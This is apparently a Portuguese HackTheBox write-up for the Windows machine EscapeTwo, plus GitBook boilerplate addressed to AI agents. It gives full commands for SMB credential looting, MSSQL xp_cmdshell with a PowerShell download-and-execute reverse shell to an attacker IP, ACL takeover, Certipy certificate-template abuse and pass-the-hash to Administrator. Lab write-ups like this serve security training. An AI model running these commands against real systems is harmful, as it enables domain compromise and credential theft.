> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md). # Resolução da máquina EscapeTwo do HackTheBox {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeração SMB * Vazamento de senha de informações (zip, arquivo Excel) * Exploração RCE do MSSQL (Microsoft SQL) * Enumeração BloodHound * Usuário WriteOwner CA/\_SVC (elevação de privilégio) {% endhint %} Neste teste de penetração em ambiente Windows, temos as seguintes credenciais: * nome de usuário: `rose` * senha: `KxEPkKe6R8su` ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts ```

**Análise de portas abertas com extractPorts:** Usando a função extractPorts para exibir de forma concisa as portas abertas e copiá-las para a `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` área de transferência

Varredura de versão de portas com Nmap: Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo:

### Porta 445 - SMB **Validar o usuário com o CrackMapExec** Confirmamos que o `rose` usuário existe no controlador de domínio (DC): ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' ```

**Exploração de compartilhamentos SMB** Listamos os compartilhamentos acessíveis com o `--shares` comando: ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares ``` **Resultado**: Duas pastas interessantes ficam visíveis: * `Users` * `Departamento de Contabilidade`

/*/* Conectar ao compartilhamento SMB com smbclient/*/* Acessamos **Departamento de Contabilidade**: ```bash smbclient '//10.10.11.51/Accounting Department' -U rose ``` Neste diretório, recuperamos dois arquivos Excel: ```powershell get accounting_2024.xlsx get accounts.xlsx ```

**Identificação do formato do arquivo** Com a `arquivo` comando, determinamos que esses arquivos são na verdade arquivos ZIP.

**Extração de arquivo ZIP** Descompactamos os arquivos recuperados:

**Buscar informações sensíveis** Filtramos os arquivos extraídos para encontrar informações contendo a palavra-chave **senha**: ```bash find . -type f -name "*.txt" -exec grep -iH "password" {} + ```

**Resultado**: Um arquivo chamado `shareStrings.xml` contém uma lista de usuários e senhas.

Nome	Sobrenome	E-mail	Nome de usuário	Senha
Angela	Martin	angela@sequel.htb	angela	0fwz7Q4mSpurIt99
Oscar	Martinez	oscar@sequel.htb	oscar	86LxLBMgEWaKUnBG
Kevin	Malone	kevin@sequel.htb	kevin	Md9Wlq1E5bZnVDVo
		sa@sequel.htb	sa	MSSQLP@ssw0rd!

**Testar IDs com CrackMapExec** Usamos as credenciais recuperadas para validar as contas: ```bash crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99' crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG' crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo' crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' ``` **Resultado**: Apenas o `oscar` o usuário é válido.

## Exploração do MSSQL (Microsoft SQL) **Porta 1433 (MSSQL)** A porta 1433 está aberta, o que indica que há um servidor Microsoft SQL em execução. Vamos testar as conexões com os diferentes usuários recuperados anteriormente.

**Teste de conexão MSSQL** Usamos `mssqlclient.py` para tentar se conectar: ```bash mssqlclient.py sequel.htb/angela@10.10.11.51 mssqlclient.py sequel.htb/oscar@10.10.11.51 mssqlclient.py sequel.htb/kevin@10.10.11.51 ```

**Resultado**: Apenas o usuário `sa` funciona. ```bash mssqlclient.py sequel.htb/sa@10.10.11.51 ```

### Reverse shell via MSSQL **Ativar execução de comandos** Para executar comandos do sistema, ativamos `xp_cmdshell`: ```sql enable_xp_cmdshell ``` Em seguida, testamos com um comando simples, como `ipconfig`: ```sql xp_cmdshell ipconfig ```

**Preparação do listener em nossa máquina** Estamos iniciando um listener na porta 4444: ```bash rlwrap nc -nvlp 4444 ``` **Baixar um script PowerShell** Estamos preparando um script PowerShell chamado `PS.ps1` que inclui um comando de reverse shell. No final do script, adicionamos a seguinte linha: {% embed url="" %} No final do script, adicionamos a seguinte linha: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444 ``` Hospedamos este script em um servidor web local: ```bash python3 -m http.server 80 ``` **Execução da reverse shell** A partir do servidor MSSQL, executamos o seguinte comando para baixar e executar o script PowerShell: ```sql xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')" ```

## Pivotando para o usuário Ryan **Novas credenciais descobertas** Ao explorar o sistema, descobrimos um diretório chamado **SQL2019** na raiz. Dentro dele, encontramos as seguintes credenciais: * Usuário : `ryan` * Senha: `WqSZAF6CysDQbGb3`

**Validação de IDs com CrackMapExec** Verificamos se essas credenciais são válidas: ```bash crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3' ```

Ao explorar diretórios compartilhados, identificamos um usuário chamado `ryan`. Testamos as mesmas credenciais que para `sql_svc`:

**Resultado**: As credenciais também funcionam para o usuário `ryan`. ```bash crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

Evil-winrm ```bash evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

### Flag user.txt :)

## Escalada de privilégios ### Enumeração com BloodHound-python Comando usado: ```bash bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All ```

## WriteOwner: **Observação :**/ O **Ryan** usuário tem a `WriteOwner` permissão no **CA/ SVC** conta, que também é a emissora do certificado. Isso significa que podemos modificar o proprietário da conta **CA/ SVC** para associar **Ryan**.

### Assumir controle de CA/\_SVC com BloodyAD #### Alteração do proprietário da conta {% code overflow="wrap" %} ```bash bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' ``` {% endcode %} O comando usa o BloodyAD para modificar o proprietário de **CA/ SVC** e defini-lo em **Ryan**. Como proprietário, **Ryan** agora pode alterar as autoridades associadas à conta. ### Modificar permissões com Dacledit #### Conceder permissão total ao Ryan {% code overflow="wrap" %} ```bash dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 ``` {% endcode %} Este comando modifica a **DACL** (Lista de Controle de Acesso Discricionário) da **CA/ SVC** conta para conceder controle total a **Ryan**. Isso permite que Ryan redefina a senha ou manipule chaves de autenticação.

### Extração de Shadow Credentials #### Gerar e recuperar o hash NT {% code overflow="wrap" %} ```bash certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51 ``` {% endcode %}

Hash NT para **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce` O **Certipy** comando gera uma chave de identificação para **CA/ SVC**, permitindo autenticação baseada em certificado. Um arquivo `.ccache` também é gerado, o que facilita ataques baseados em Kerberos. ### Modificação do modelo de certificado #### Ajustar o modelo DunderMifflinAuthentication {% code overflow="wrap" %} ```bash KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51 ``` {% endcode %}

Este comando modifica a **DunderMifflinAuthentication** modelo de certificado para permitir a emissão de certificados com privilégios elevados. ### Emissão de um certificado para o administrador #### Solicitar um certificado para personificação {% code overflow="wrap" %} ```bash certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 ``` {% endcode %}

Este comando requer um certificado em nome do Administrador (`Administrator@sequel.htb`), permitindo usurpar a identidade dessa conta. ### Autenticação como Administrador #### Uso do certificado para autenticação ```bash certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 ```

**Hash NTLMv2 :** `7a8d4e04986afa8ed4060f75e5a0b3ff` ```bash evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff" ```

Este comando autentica como Administrador com o certificado obtido anteriormente e recupera o hash NTLM. ### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.